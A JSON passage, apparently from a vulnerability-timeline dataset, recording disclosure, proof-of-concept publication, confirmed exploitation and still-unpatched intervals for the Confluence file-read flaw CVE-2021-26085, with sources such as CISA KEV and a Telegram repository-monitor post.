"source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2021-10-12T05:12:34Z", "date_only": false, "value": "2021-10-12T05:12:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/679", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "96f5d504-fe65-4951-a62d-7d96c3c6cedc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2021-26085", "url": "https://t.me/GithubRedTeam/679", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 20908800.0, "hours": 5808.0, "days": 242.0, "min_seconds": 20822400.0, "max_seconds": 20995200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 20908800.0, "hours": 5808.0, "days": 242.0, "min_seconds": 20822400.0, "max_seconds": 20995200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 6498754.0, "hours": 1805.2094444444444, "days": 75.21706018518519, "min_seconds": 6412354.0, "max_seconds": 6498754.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2021-10-12T05:12:34Z", "date_only": false, "value": "2021-10-12T05:12:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/679", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "96f5d504-fe65-4951-a62d-7d96c3c6cedc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2021-26085", "url": "https://t.me/GithubRedTeam/679", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 167158856.651615, "hours": 46433.01573655972, "days": 1934.7089890233217, "min_seconds": 167072456.651615, "max_seconds": 167158856.651615, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-14T17:00:56.651Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 146250056.651615, "hours": 40625.01573655972, "days": 1692.7089890233217, "min_seconds": 146163656.651615, "max_seconds": 146250056.651615, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-11-14T17:00:56.651Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 160660102.651615, "hours": 44627.806292115274, "days": 1859.4919288381366, "min_seconds": 160660102.651615, "max_seconds": 160660102.651615, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2021-10-12T05:12:34Z", "date_only": false, "value": "2021-10-12T05:12:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/679", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "96f5d504-fe65-4951-a62d-7d96c3c6cedc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2021-26085", "url": "https://t.me/GithubRedTeam/679", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-14T17:00:56.651Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}